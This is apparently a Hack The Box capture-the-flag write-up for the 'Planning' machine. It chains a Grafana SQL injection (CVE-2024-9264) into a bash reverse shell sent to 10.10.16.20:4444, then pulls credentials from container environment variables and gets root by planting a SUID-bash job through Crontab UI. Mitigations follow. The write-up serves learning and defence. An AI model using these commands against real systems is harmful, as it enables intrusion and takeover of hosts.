Planning
This machine is based on Public Exploit and Misconfigurations !
Machine Link 🛡️ | Planning |
---|---|
Operating System | Linux |
Difficulty | Easy |
Machine Created by | d00msl4y3r & FisMatHack |
1️⃣ Introduction
Short description:
Planning is an easy-difficulty Linux machine on Hack The Box, simulating a real-world pentest scenario with initial administrative credentials provided.
Key vulnerabilities/concepts:
Authenticated SQL injection in Grafana (CVE-2024-9264) leading to file reads and RCE, credential exposure via environment variables, and privilege escalation through a misconfigured Crontab UI. Learning goals: Chaining web exploits with container pivots, secure credential handling, and cron job security.
2️⃣ Port Scanning
Why: To identify open ports, services, and versions, mapping the initial attack surface for reconnaissance. This helps prioritize targets like web services.
Commands: Nmap is used for network discovery.
Flag breakdown: -sC
(default scripts for additional info like host keys), -sV
(service version detection), -vv
(very verbose for detailed progress), -T4
(aggressive timing to speed up the scan without being too noisy), -oN
(save output to a normal-format file).
Exact Command:
1
sudo nmap -sC -sV -vv -T4 -oN Nmap_Result.txt 10.10.11.68
1
2
3
4
5
6
7
8
9
10
11
12
13
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMv/TbRhuPIAz+BOq4x+61TDVtlp0CfnTA2y6mk03/g2CffQmx8EL/uYKHNYNdnkO7MO3DXpUbQGq1k2H6mP6Fg=
| 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKpJkWOBF3N5HVlTJhPDWhOeW+p9G7f2E9JnYIhKs6R0
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Edukate - Online Education Website
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Output analysis: Revealed port 22 (SSH: OpenSSH 9.6p1 on Ubuntu Linux) and port 80 (HTTP: nginx 1.24.0 on Ubuntu), with the site title “Edukate - Online Education Website.” This confirms Linux OS and potential web attack vectors.
Notes: Chosen for comprehensive service intel; alternatives include RustScan for faster initial port discovery or Masscan for large-scale scans.
3️⃣ Web Enumeration
Tools: FFUF (fast fuzzer), manual hosts file edit.
Content: Added 10.10.11.68 planning.htb to /etc/hosts to resolve the virtual host, accessing the “Edukate” education site. Subdomain fuzzing discovered grafana.planning.htb.
Commands/outputs/explanations: For subdomain enumeration, FFUF fuzzes Host headers. Flag breakdown: -w
(wordlist path), -H
(custom header for virtual host simulation), -u
(target URL), -fs
(filter responses by size to ignore defaults).
Command:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -H "Host: FUZZ.planning.htb" -u http://planning.htb -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/' \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://planning.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt
:: Header : Host: FUZZ.planning.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 418ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
This indicates a redirect to a Grafana instance, revealing an additional service for potential exploitation.
Reasoning: Essential for uncovering hidden subdomains in name-based hosting; alternatives like Gobuster or DNS brute-forcing with dnsenum. Risks: High request volume might be rate-limited or detected as scanning.
Lets use that to login into the grafana site 🔻
4️⃣ Vulnerability Identification
CVE-2024-9264: Grafana Post-Auth DuckDB SQL Injection (RCE, File Read).
Description: Insufficient sanitization of user-supplied queries in Grafana’s experimental SQL Expressions feature allows authenticated users (viewer or higher) to inject arbitrary DuckDB SQL, leading to command injection and local file inclusion. Why vulnerable: Queries are passed unsanitized to DuckDB, enabling functions like read_blob for files or utility commands for RCE (limited to v11.0.0 for full RCE). Impact: Arbitrary file reads across versions 11.0.0-11.2.1; RCE in 11.0.0, potentially allowing shell access.
Reference: https://github.com/nollium/CVE-2024-9264.
5️⃣ Exploitation
Content: Logged into Grafana with provided creds (admin:0D5oT70Fq13EvB5r). Used PoC script for CVE-2024-9264
to read files and execute code. First, file read to gather intel; then, RCE for a reverse shell.
Commands/breakdowns/outputs: Python script exploits via HTTP requests to /api/ds/query. Flags: -u
(username), -p
(password), -f
(file to read), URL.
Command (File Read):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ python3 CVE-2024-9264.py -u admin -p '0D5oT70Fq13EvB5r' -f /etc/passwd http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
Output: Dumped /etc/passwd
, revealing users like grafana and hinting at enzo. For RCE, -c
(command to execute, here a bash reverse shell).
Command (RCE):
1
python3 CVE-2024-9264.py -u admin -p '0D5oT70Fq13EvB5r' -c 'bash -c "bash -i >& /dev/tcp/10.10.16.20/4444 0>&1"' http://grafana.planning.htb/
Output: Obtained root shell in Grafana Docker container. Reasoning: Direct PoC for authenticated exploit; alternatives include manual HTTP requests with Burp. Risks: Requires auth; could be logged in Grafana audits.
6️⃣ Getting Shell
From RCE, caught reverse shell in container. Stabilized by navigating and running scripts.
Commands/outputs:
1
2
3
4
5
6
7
root@7ce659d667d7:~# cd /
root@7ce659d667d7:/# ls
bin dev home lib32 libx32 mnt proc run sbin sys usr
boot etc lib lib64 media opt root run.sh srv tmp var
root@7ce659d667d7:/# ./run.sh
Grafana server is running with elevated privileges. This is not recommended
....
Output: Listed container dirs; run.sh started Grafana, logging env overrides like GF_SECURITY_ADMIN_USER=enzo
and masked password. This provided hints for pivoting.
1
2
3
INFO [08-23|17:15:13] Config overridden from Environment variable logger=settings var="GF_SECURITY_ADMIN_USER=enzo"
INFO [08-23|17:15:13] Config overridden from Environment variable logger=settings var="GF_SECURITY_ADMIN_PASSWORD=*********"
INFO [08-23|17:15:13] Target
7️⃣ Post-Exploitation Enumeration
I checked the env
vars in container for creds; pivoted to host via SSH as enzo (password from env); enumerated files and ports.
Commands/outputs/analysis:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@7ce659d667d7:~# env
SHELL=/usr/bin/bash
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
TERM=xterm-256color
AWS_AUTH_EXTERNAL_ID=
SHLVL=3
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=********** <-- PASSWORD
GF_SECURITY_ADMIN_USER=enzo <--- USERNAME
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env
OLDPWD=/var/backups
root@7ce659d667d7:~#
Output: Revealed GF_SECURITY_ADMIN_PASSWORD (redacted)
. SSH to host, then:
8️⃣ Privilege Escalation
After getting the creds from docker environment variable I got the shell through SSH connection and while enumeration I got a cronjob file in /opt
directory🔻
1
2
3
4
5
6
7
enzo@planning:/tmp$ cd /opt/crontabs
enzo@planning:/opt/crontabs$ ls
crontab.db
enzo@planning:/opt/crontabs$ cat crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4**********T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
enzo@planning:/opt/crontabs$
This crontab.db
file showed jobs, including zip with password P4**********T3c
.
I checked the running services and background ports.
Tool: ss
Flags: -t
(TCP), -u
(UDP), -n
(numeric ports), -l
(listening), -p
(processes).
1
2
3
4
5
6
7
8
9
10
11
12
enzo@planning:/opt/crontabs$ ss -tunlp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:*
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:8000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 *:22 *:*
enzo@planning:/opt/crontabs$
I can see port 8000 running internally, so Lets Port Forward it to access that port externally from port 8888 with SSH Local Port Forwarding method like this 🔻
1
2
3
└─$ ssh -L 8888:127.0.0.1:8000 enzo@planning.htb
enzo@planning.htbs password:
enzo@planning:~$
Flag: -L
(local forward). Analysis: Uncovered creds and internal UI for escalation.
Now I have Cronjobs UI site running on port 8888, But Firstly it requires credentials to let me inside that dashboad.
So I used the username as root and the password that I got from the ZIP file as password. And with that I am inside the site 🔻
I got the control now lets add a custom command and run it, In my case I will be using SUID on bash🔻
1
echo "chmod u+s /bin/bash" > /tmp/shell.sh
This is how I did it 🔻
1
2
3
4
5
6
enzo@planning:/var/backups$ cd /tmp
enzo@planning:/tmp$ echo 'chmod u+s /bin/bash' >shell.sh
enzo@planning:/tmp$ chmod +x shell.sh
enzo@planning:/tmp$ ls -al /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
enzo@planning:/tmp$
And set this path from crontab execution 🔻
9️⃣ Root Access
I ran it manually without waiting for cron job to kicks in. And I got the desired SUID permission on bash shell 🔻
1
2
3
enzo@planning:/tmp$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
enzo@planning:/tmp$
Now lets use the bash to have root shell that will be using effective UID method 🔻
Flag: -p
(preserve effective UID). Then:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
enzo@planning:/tmp$ /bin/bash -p
bash-5.2# cd /root
bash-5.2# ls -al
total 40
drwx------ 6 root root 4096 Aug 23 11:48 .
drwxr-xr-x 22 root root 4096 Apr 3 14:40 ..
lrwxrwxrwx 1 root root 9 Feb 28 20:41 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 22 2024 .bashrc
drwx------ 2 root root 4096 Apr 1 11:08 .cache
-rw------- 1 root root 20 Apr 3 15:18 .lesshst
drwxr-xr-x 4 root root 4096 Feb 28 19:01 .npm
-rw-r--r-- 1 root root 161 Apr 22 2024 .profile
-rw-r----- 1 root root 33 Aug 23 11:48 root.txt
drwxr-xr-x 2 root root 4096 Apr 3 12:54 scripts
drwx------ 2 root root 4096 Feb 28 16:22 .ssh
bash-5.2#
I am root now !!
🔍 Mitigation
- Patch Grafana to 11.0.6+, 11.1.7+, or 11.2.2+; disable SQL Expressions if unused.
- Avoid storing secrets in environment variables; use secret managers like HashiCorp Vault and mask sensitive logs.
- Secure Crontab UI with strong, unique passwords; restrict to localhost or VPN; audit cron jobs regularly for unauthorized commands.
- Remove unnecessary SUID bits (e.g.,
chmod u-s /bin/bash
); enforce least privilege via sudoers file; monitor file permission changes.
💡 Takeaways
- Initial credentials can amplify vulnerabilities—always rotate and monitor them.
- Container escapes via exposed env vars highlight the need for isolation and secret injection best practices.
- Cron misconfigurations are common privesc vectors; regular reviews prevent abuse.
- Defense-in-depth, including patching and logging, is key to securing web apps like Grafana.
📌 References
- CVE-2024-9264 PoC
- Grafana Advisory
- Grok: For report writing.
If you have any questions or suggestions, please leave a comment below or DM me on Twitter. Thank you!